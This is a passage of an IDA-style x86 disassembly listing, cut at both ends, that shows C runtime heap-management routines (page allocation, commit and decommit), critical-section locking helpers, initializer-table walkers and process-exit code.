		call	dword_42F1EC	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_427E7D


loc_427D71:				; CODE XREF: sub_427D40+12j
		mov	ebp, dword_42F1B8
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp ; dword_42F1B8
		mov	edi, eax
		test	edi, edi
		jz	loc_427E66
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp ; dword_42F1B8
		test	eax, eax
		jz	loc_427E58
		mov	eax, offset off_449A78
		cmp	esi, eax
		jnz	short loc_427DD0
		cmp	off_449A78, 0
		jnz	short loc_427DC0
		mov	off_449A78, eax


loc_427DC0:				; CODE XREF: sub_427D40+79j
		cmp	off_449A7C, 0
		jnz	short loc_427DE5
		mov	off_449A7C, eax
		jmp	short loc_427DE5
; ---------------------------------------------------------------------------


loc_427DD0:				; CODE XREF: sub_427D40+70j
		mov	[esi], eax
		mov	eax, off_449A7C
		mov	[esi+4], eax
		mov	off_449A7C, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_427DE5:				; CODE XREF: sub_427D40+87j
					; sub_427D40+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_427E07:				; CODE XREF: sub_427D40+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_427E07
		push	ebx
		push	0
		push	edi
		call	sub_4221F0
		add	esp, 0Ch


loc_427E30:				; CODE XREF: sub_427D40+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_427E54
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_427E30
; ---------------------------------------------------------------------------


loc_427E54:				; CODE XREF: sub_427D40+F7j
		mov	eax, esi
		jmp	short loc_427E7F
; ---------------------------------------------------------------------------


loc_427E58:				; CODE XREF: sub_427D40+63j
		push	8000h
		push	0
		push	edi
		call	dword_42F1BC	; VirtualFree


loc_427E66:				; CODE XREF: sub_427D40+4Bj
		cmp	esi, offset off_449A78
		jz	short loc_427E7D
		push	esi
		push	0
		push	dword_6319BC
		call	dword_42F1F0	; RtlFreeHeap


loc_427E7D:				; CODE XREF: sub_427D40+2Bj
					; sub_427D40+12Cj
		xor	eax, eax


loc_427E7F:				; CODE XREF: sub_427D40+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_427D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_427E84	proc near		; CODE XREF: sub_427EDA+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_42F1BC	; VirtualFree
		cmp	off_44BA98, esi
		jnz	short loc_427EA9
		mov	eax, [esi+4]
		mov	off_44BA98, eax


loc_427EA9:				; CODE XREF: sub_427E84+1Bj
		cmp	esi, offset off_449A78
		jz	short loc_427ED1
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_6319BC
		call	dword_42F1F0	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_427ED1:				; CODE XREF: sub_427E84+2Bj
		or	dword_449A88, 0FFFFFFFFh
		pop	esi
		retn
sub_427E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427EDA	proc near		; CODE XREF: sub_427FF3+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_449A7C
		push	edi


loc_427EE7:				; CODE XREF: sub_427EDA+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_427F85
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_427F00:				; CODE XREF: sub_427EDA+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_427F41
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_42F1BC	; VirtualFree
		test	eax, eax
		jz	short loc_427F41
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_631400
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_427F36
		cmp	eax, edi
		jbe	short loc_427F39


loc_427F36:				; CODE XREF: sub_427EDA+56j
		mov	[esi+0Ch], edi


loc_427F39:				; CODE XREF: sub_427EDA+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_427F4E


loc_427F41:				; CODE XREF: sub_427EDA+2Cj
					; sub_427EDA+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_427F00


loc_427F4E:				; CODE XREF: sub_427EDA+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_427F85
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_427F85
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_427F65:				; CODE XREF: sub_427EDA+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_427F76
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_427F65


loc_427F76:				; CODE XREF: sub_427EDA+8Ej
		cmp	edx, 400h
		jnz	short loc_427F85
		push	ecx
		call	sub_427E84
		pop	ecx


loc_427F85:				; CODE XREF: sub_427EDA+11j
					; sub_427EDA+7Dj ...
		cmp	esi, off_449A7C
		jz	short loc_427F97
		cmp	[ebp+arg_0], 0
		jg	loc_427EE7


loc_427F97:				; CODE XREF: sub_427EDA+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427EDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_427F9C	proc near		; CODE XREF: sub_4230B3+90p
					; sub_4285CC+1D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_449A78
		push	esi
		mov	ecx, edx


loc_427FA8:				; CODE XREF: sub_427F9C+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_427FB2
		cmp	eax, [ecx+14h]
		jb	short loc_427FBA


loc_427FB2:				; CODE XREF: sub_427F9C+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_427FEF
		jmp	short loc_427FA8
; ---------------------------------------------------------------------------


loc_427FBA:				; CODE XREF: sub_427F9C+14j
		test	al, 0Fh
		jnz	short loc_427FEF
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_427FEF
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_427FEF:				; CODE XREF: sub_427F9C+1Aj
					; sub_427F9C+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_427F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_427FF3	proc near		; CODE XREF: sub_4230B3+A6p
					; sub_4285CC+246p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_428037
		inc	dword_631400
		cmp	dword_631400, 20h
		jnz	short locret_428037
		push	10h
		call	sub_427EDA
		pop	ecx

locret_428037:				; CODE XREF: sub_427FF3+2Bj
					; sub_427FF3+3Aj
		retn
sub_427FF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428038	proc near		; CODE XREF: sub_422FB7+A7p
					; sub_423F63+C4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_44BA98
		push	edi


loc_428046:				; CODE XREF: sub_428038+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_4280F1
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_4280AB


loc_428071:				; CODE XREF: sub_428038+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_428094
		cmp	[edi+4], ebx
		jbe	short loc_428094
		push	ebx
		push	ecx
		push	eax
		call	sub_428240
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_428103
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_428094:				; CODE XREF: sub_428038+40j
					; sub_428038+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_428071
		jmp	short loc_4280AE
; ---------------------------------------------------------------------------


loc_4280AB:				; CODE XREF: sub_428038+37j
		mov	ebx, [ebp+arg_0]


loc_4280AE:				; CODE XREF: sub_428038+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_4280F4


loc_4280C1:				; CODE XREF: sub_428038+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_4280E0
		cmp	[edi+4], ebx
		jbe	short loc_4280E0
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_428240
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_428103
		mov	[edi+4], ebx


loc_4280E0:				; CODE XREF: sub_428038+8Dj
					; sub_428038+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_4280C1
		jmp	short loc_4280F4
; ---------------------------------------------------------------------------


loc_4280F1:				; CODE XREF: sub_428038+14j
		mov	ebx, [ebp+arg_0]


loc_4280F4:				; CODE XREF: sub_428038+87j
					; sub_428038+B7j
		mov	esi, [esi]
		cmp	esi, off_44BA98
		jz	short loc_428113
		jmp	loc_428046
; ---------------------------------------------------------------------------


loc_428103:				; CODE XREF: sub_428038+54j
					; sub_428038+A3j
		mov	off_44BA98, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_42823B
; ---------------------------------------------------------------------------


loc_428113:				; CODE XREF: sub_428038+C4j
		mov	eax, offset off_449A78
		mov	edi, eax


loc_42811A:				; CODE XREF: sub_428038+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_428126
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_428132


loc_428126:				; CODE XREF: sub_428038+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_428207
		jmp	short loc_42811A
; ---------------------------------------------------------------------------


loc_428132:				; CODE XREF: sub_428038+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_428161


loc_428150:				; CODE XREF: sub_428038+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_428161
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_428150


loc_428161:				; CODE XREF: sub_428038+116j
					; sub_428038+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_42F1B8	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_428239
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_4221F0
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_4281C8
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_42819E:				; CODE XREF: sub_428038+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_42819E


loc_4281C8:				; CODE XREF: sub_428038+15Ej
		mov	off_44BA98, edi
		lea	eax, [edi+2018h]


loc_4281D4:				; CODE XREF: sub_428038+1A8j
		cmp	ecx, eax
		jnb	short loc_4281E4
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_4281E2
		add	ecx, 8
		jmp	short loc_4281D4
; ---------------------------------------------------------------------------


loc_4281E2:				; CODE XREF: sub_428038+1A3j
		cmp	ecx, eax


loc_4281E4:				; CODE XREF: sub_428038+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_42823B
; ---------------------------------------------------------------------------


loc_428207:				; CODE XREF: sub_428038+F2j
		call	sub_427D40
		test	eax, eax
		jz	short loc_428239
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_44BA98, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_42823B
; ---------------------------------------------------------------------------


loc_428239:				; CODE XREF: sub_428038+143j
					; sub_428038+1D6j
		xor	eax, eax


loc_42823B:				; CODE XREF: sub_428038+D6j
					; sub_428038+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_428038	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428240	proc near		; CODE XREF: sub_428038+4Ap
					; sub_428038+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_428285
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_428274
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_42827D
; ---------------------------------------------------------------------------


loc_428274:				; CODE XREF: sub_428240+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_42827D:				; CODE XREF: sub_428240+32j
		lea	eax, [edi+8]
		jmp	loc_428353
; ---------------------------------------------------------------------------


loc_428285:				; CODE XREF: sub_428240+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_42828E
		mov	eax, esi


loc_42828E:				; CODE XREF: sub_428240+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_4282D8


loc_428295:				; CODE XREF: sub_428240+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_4282CB
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_4282A1:				; CODE XREF: sub_428240+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4282AA
		inc	ebx
		inc	esi
		jmp	short loc_4282A1
; ---------------------------------------------------------------------------


loc_4282AA:				; CODE XREF: sub_428240+64j
		cmp	esi, edx
		jnb	short loc_4282FC
		cmp	eax, [ebp+var_4]
		jnz	short loc_4282B8
		mov	[ecx+4], esi
		jmp	short loc_4282C4
; ---------------------------------------------------------------------------


loc_4282B8:				; CODE XREF: sub_428240+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_42835D


loc_4282C4:				; CODE XREF: sub_428240+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_4282D0
; ---------------------------------------------------------------------------


loc_4282CB:				; CODE XREF: sub_428240+59j
		movzx	esi, bl
		add	eax, esi


loc_4282D0:				; CODE XREF: sub_428240+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_428295


loc_4282D8:				; CODE XREF: sub_428240+53j
		lea	esi, [ecx+8]


loc_4282DB:				; CODE XREF: sub_428240+EBj
					; sub_428240+F2j
		cmp	esi, edi
		jnb	short loc_42835D
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_42835D
		mov	al, [esi]
		test	al, al
		jnz	short loc_42832D
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_4282F3:				; CODE XREF: sub_428240+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_42831D
		inc	ebx
		inc	eax
		jmp	short loc_4282F3
; ---------------------------------------------------------------------------


loc_4282FC:				; CODE XREF: sub_428240+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_42830D
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_428316
; ---------------------------------------------------------------------------


loc_42830D:				; CODE XREF: sub_428240+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_428316:				; CODE XREF: sub_428240+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_428353
; ---------------------------------------------------------------------------


loc_42831D:				; CODE XREF: sub_428240+B6j
		cmp	eax, edx
		jnb	short loc_428334
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_42835D
		mov	esi, ebx
		jmp	short loc_4282DB
; ---------------------------------------------------------------------------


loc_42832D:				; CODE XREF: sub_428240+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_4282DB
; ---------------------------------------------------------------------------


loc_428334:				; CODE XREF: sub_428240+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_428345
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_42834E
; ---------------------------------------------------------------------------


loc_428345:				; CODE XREF: sub_428240+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_42834E:				; CODE XREF: sub_428240+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_428353:				; CODE XREF: sub_428240+40j
					; sub_428240+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_42835F
; ---------------------------------------------------------------------------


loc_42835D:				; CODE XREF: sub_428240+7Ej
					; sub_428240+9Dj ...
		xor	eax, eax


loc_42835F:				; CODE XREF: sub_428240+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_428240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428364	proc near		; CODE XREF: sub_4285CC+202p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_42839E
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_4283FE
; ---------------------------------------------------------------------------


loc_42839E:				; CODE XREF: sub_428364+26j
		jnb	short loc_428405
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_428405
		lea	eax, [ecx+edx]


loc_4283B3:				; CODE XREF: sub_428364+59j
		cmp	eax, esi
		jnb	short loc_4283C1
		cmp	byte ptr [eax],	0
		jnz	short loc_4283BF
		inc	eax
		jmp	short loc_4283B3
; ---------------------------------------------------------------------------


loc_4283BF:				; CODE XREF: sub_428364+56j
		cmp	eax, esi


loc_4283C1:				; CODE XREF: sub_428364+51j
		jnz	short loc_428405
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_4283F9
		cmp	esi, eax
		jbe	short loc_4283F9
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_4283F0
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_4283EB


loc_4283E4:				; CODE XREF: sub_428364+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_4283E4


loc_4283EB:				; CODE XREF: sub_428364+7Ej
		mov	[ebx+4], eax
		jmp	short loc_4283F9
; ---------------------------------------------------------------------------


loc_4283F0:				; CODE XREF: sub_428364+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_4283F9:				; CODE XREF: sub_428364+68j
					; sub_428364+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_4283FE:				; CODE XREF: sub_428364+38j
		mov	[ebp+var_4], 1


loc_428405:				; CODE XREF: sub_428364:loc_42839Ej
					; sub_428364+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_428364	endp


; =============== S U B	R O U T	I N E =======================================



sub_42840D	proc near		; CODE XREF: sub_425936+1p
		push	esi
		mov	esi, dword_42F1CC
		push	off_44BAE4
		call	esi ; dword_42F1CC
		push	off_44BAD4
		call	esi ; dword_42F1CC
		push	off_44BAC4
		call	esi ; dword_42F1CC
		push	off_44BAA4
		call	esi ; dword_42F1CC
		pop	esi
		retn
sub_42840D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428436	proc near		; CODE XREF: sub_422FB7+3Ep
					; sub_422FB7+94p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		cmp	dword_44BAA0[eax*4], 0
		lea	esi, ds:44BAA0h[eax*4]
		jnz	short loc_42848C
		push	edi
		push	18h
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_428465
		push	11h
		call	sub_424FCB
		pop	ecx


loc_428465:				; CODE XREF: sub_428436+25j
		push	11h
		call	sub_428436
		cmp	dword ptr [esi], 0
		pop	ecx
		push	edi
		jnz	short loc_42847D
		call	dword_42F1CC	; InitializeCriticalSection
		mov	[esi], edi
		jmp	short loc_428483
; ---------------------------------------------------------------------------


loc_42847D:				; CODE XREF: sub_428436+3Bj
		call	sub_4230B3
		pop	ecx


loc_428483:				; CODE XREF: sub_428436+45j
		push	11h
		call	sub_428497
		pop	ecx
		pop	edi


loc_42848C:				; CODE XREF: sub_428436+16j
		push	dword ptr [esi]
		call	dword_42F140	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_428436	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428497	proc near		; CODE XREF: sub_42301E+2p
					; sub_42307D+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	dword_44BAA0[eax*4]
		call	dword_42F144	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_428497	endp


; =============== S U B	R O U T	I N E =======================================



sub_4284AC	proc near		; CODE XREF: .text:00424F68p
		mov	eax, off_4493C8
		test	eax, eax
		jz	short loc_4284B7
		call	eax ; sub_42346C


loc_4284B7:				; CODE XREF: sub_4284AC+7j
		push	offset dword_432030
		push	offset dword_43201C
		call	sub_4285B2
		push	offset dword_432018
		push	offset dword_432000
		call	sub_4285B2
		add	esp, 10h
		retn
sub_4284AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4284D9	proc near		; CODE XREF: .text:00424FA7p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_4284FB
		add	esp, 0Ch
		retn
sub_4284D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4284EA	proc near		; CODE XREF: .text:00424FC6p
					; sub_424FCB+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_4284FB
		add	esp, 0Ch
		retn
sub_4284EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4284FB	proc near		; CODE XREF: sub_4284D9+8p
					; sub_4284EA+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		call	sub_4285A0
		push	1
		pop	edi
		cmp	dword_6314A8, edi
		jnz	short loc_42851D
		push	[esp+4+arg_0]
		call	dword_42F040	; GetCurrentProcess
		push	eax
		call	dword_42F0EC	; TerminateProcess


loc_42851D:				; CODE XREF: sub_4284FB+Fj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_6314A4, edi
		mov	byte_6314A0, bl
		jnz	short loc_428571
		mov	eax, dword_63199C
		test	eax, eax
		jz	short loc_428560
		mov	ecx, dword_631998
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_42855F


loc_42854C:				; CODE XREF: sub_4284FB+62j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_428554
		call	eax


loc_428554:				; CODE XREF: sub_4284FB+55j
		sub	esi, 4
		cmp	esi, dword_63199C
		jnb	short loc_42854C


loc_42855F:				; CODE XREF: sub_4284FB+4Fj
		pop	esi


loc_428560:				; CODE XREF: sub_4284FB+41j
		push	offset dword_43203C
		push	offset dword_432034
		call	sub_4285B2
		pop	ecx
		pop	ecx


loc_428571:				; CODE XREF: sub_4284FB+38j
		push	offset dword_432048
		push	offset dword_432040
		call	sub_4285B2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jz	short loc_42858E
		call	sub_4285A9
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42858E:				; CODE XREF: sub_4284FB+8Aj
		push	[esp+4+arg_0]
		mov	dword_6314A8, edi
		call	dword_42F06C	; ExitProcess
		pop	edi
		retn
sub_4284FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4285A0	proc near		; CODE XREF: sub_42319C+1p
					; sub_4284FB+1p
		push	0Dh
		call	sub_428436
		pop	ecx
		retn
sub_4285A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4285A9	proc near		; CODE XREF: sub_42319C:loc_423211p
					; sub_4284FB+8Cp
		push	0Dh
		call	sub_428497
		pop	ecx
		retn
sub_4285A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4285B2	proc near		; CODE XREF: sub_4284AC+15p
					; sub_4284AC+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4285B7:				; CODE XREF: sub_4285B2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4285CA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4285C5
		call	eax


loc_4285C5:				; CODE XREF: sub_4285B2+Fj
		add	esi, 4
		jmp	short loc_4285B7
; ---------------------------------------------------------------------------


loc_4285CA:				; CODE XREF: sub_4285B2+9j
		pop	esi
		retn
sub_4285B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4285CC	proc near		; CODE XREF: sub_42319C+39p
					; sub_42E568+EDp ...

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00428760 SIZE 0000013F BYTES
; FUNCTION CHUNK AT 004288B0 SIZE 0000004B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F508
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_428606
